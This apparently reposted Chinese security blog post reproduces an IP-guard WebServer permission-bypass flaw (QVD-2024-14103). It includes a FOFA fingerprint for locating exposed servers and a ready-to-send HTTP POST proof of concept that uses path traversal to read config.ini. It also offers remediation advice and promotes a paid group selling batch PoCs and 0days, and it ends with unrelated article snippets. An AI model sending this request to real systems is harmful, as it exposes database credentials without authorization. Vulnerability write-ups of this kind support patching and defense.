IP-guard WebServer 权限绕过漏洞复现(QVD-2024-14103)

news/2025/1/16 5:33:00/

0x01 免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!

0x02 产品介绍

IP-guard 是由广州市溢信科技股份有限公司开发的一款终端安全管理软件,旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。

0x03 漏洞威胁

2024年4月,互联网上披露IP-guard WebServer权限绕过漏洞情报,攻击者可利用该漏洞读取配置文件,获取数据库权限。该漏洞利用简单,建议受影响的客户尽快修复漏洞。

漏洞成因

由于权限验证机制中存在设计缺陷,攻击者能够规避安全验证,通过后端接口执行文件的任意读取和删除操作。

漏洞影响

该漏洞的成功利用允许攻击者规避安全验证,通过后端接口执行文件的任意读取和删除操作。利用这一漏洞,攻击者有可能获取数据库的配置详情,并控制整个数据库系统。

影响范围

IP-guard < 4.82.0609.0

0x04 漏洞环境

FOFA:

icon_hash="2030860561"

0x05 漏洞复现

POC

POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencodedpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

读取config.ini

0x06 批量脚本验证

Nuclei验证脚本已发布
知识星球:冷漠安全

0x07 修复建议

临时缓解方案

配置入侵检测系统(IDS)和入侵防御系统(IPS)以及Web应用防火墙(WAF),以识别和阻止包含这类特征的请求,从而保护系统免受此类远程命令执行攻击的影响;同时为了避免攻击者绕过安全设备实施攻击,建议尽快修复漏洞。

如非必要,不要将 IP-guard 放置在公网上。或通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。

升级修复方案

官方已发布新版本修复漏洞,建议尽快访问官网(https://www.ip-guard.net/)或联系官方售后支持获取版本升级安装包或补丁,升级至4.82.0609.0版本及以上。

0x08 加入我们

漏洞详情及批量检测POC工具请前往知识星球获取

知识星球:冷漠安全
交个朋友,限时优惠券:加入立减25

星球福利:每天更新最新漏洞POC、资料文献、内部工具等

「星球介绍」:

本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。

本星球坚持每天分享一些攻防知识,包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。

本星主已加入几十余个付费星球,定期汇聚高质量资料及工具进行星球分享。

「星球服务」:

加入星球,你会获得:

♦ 批量验证漏洞POC脚本

♦ 0day、1day分享

♦ 汇集其它付费星球资源分享

♦ 大量的红蓝对抗实战资源

♦ 优秀的内部红蓝工具及插件

♦ 综合类别优秀Wiki文库及漏洞库

♦ 提问及技术交流


http://www.ppmy.cn/news/1429798.html

相关文章

【数据结构】时间复杂度的例题

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;数据结构 &#x1f337;追光的人&#xff0c;终会万丈光芒 目录 &#x1f337;例题1&#xff1a; &#x1f337;例题2&#xff1a; &#x1f337;例题3&#xff1a; &#x1f337;例题4&am…

Leetcode 4.18

Leetcode 1.无重复字符的最长子串2.最长回文子串3.整数反转4.字符串转换整数 (atoi)5.正则表达式匹配 1.无重复字符的最长子串 无重复字符的最长子串 滑动窗口&#xff0c;先让右指针右移&#xff0c;如果发现这个子串有元素和右指针当前元素重复。 则&#xff1a; 左指针右移…

Ubuntu22.04安装python3.12

Ubuntu安装python环境 1.更新软件包列表2.安装必要的依赖3.下载python3.12源码4.解压源代码5.编译和安装Python6.验证安装是否成功7.安装pip31.更新pip3 1.更新软件包列表 sudo apt update2.安装必要的依赖 sudo apt install -y make build-essential libssl-dev zlib1g-dev …

SpringBoot的 jar 可以直接运行 怎么解释

前述 在传统的Java应用程序开发和部署场景中&#xff0c;开发者往往需要经历一系列复杂的步骤才能将应用成功部署到生产环境。例如&#xff0c;对于基于Servlet规范的Java Web应用&#xff0c;开发完成后通常会被打包成WAR格式&#xff0c;然后部署到像Apache Tomcat、Jetty这…

Linux文件/目录高级管理三 头歌

1Linux文件/目录setuid和setgid 编程要求 在右侧编辑器中补充代码&#xff0c;具体编程要求如下&#xff1a; 使用助记语法为系统已存在文件oldFile1(默认权限为&#xff1a;rw_rw_r__)设置setuid权限; 使用助记语法为系统已存在目录oldDir1(默认权限为&#xff1a;rwxrwxrw…

Nature 哈佛新型超材料Metafluid粘度、透明度、弹性可变,可用于编程液压机器人

液体都有“智能”、可编程了&#xff1f; 最近&#xff0c;一种被称为“智能"液体的多功能可编程的新型超材料——Metafluid&#xff0c;登上了Nature。 它由哈佛大学SEAS的研究团队研发&#xff0c;据说可自由调节弹性、光学特性、粘度。 甚至能够在牛顿流体和非牛顿流…

Java面试之JVM篇(共七篇---完结)

Java面试之虚拟机篇&#xff08;一&#xff09;&#xff1a;JVM概述与内存结构 在Java的面试中&#xff0c;虚拟机&#xff08;JVM&#xff09;是必考的知识点之一。作为Java程序运行的基础环境&#xff0c;JVM对Java的性能和稳定性有着至关重要的影响。本文将首先介绍JVM的基…

数据库管理-第171期 Oracle是用这种方式确保读一致的(20240418)

数据库管理171期 2024-04-18 数据库管理-第171期 Oracle是用这种方式确保读一致的&#xff08;20240418&#xff09;1 基本概念2 用处3 注意事项总结 数据库管理-第171期 Oracle是用这种方式确保读一致的&#xff08;20240418&#xff09; 作者&#xff1a;胖头鱼的鱼缸&#x…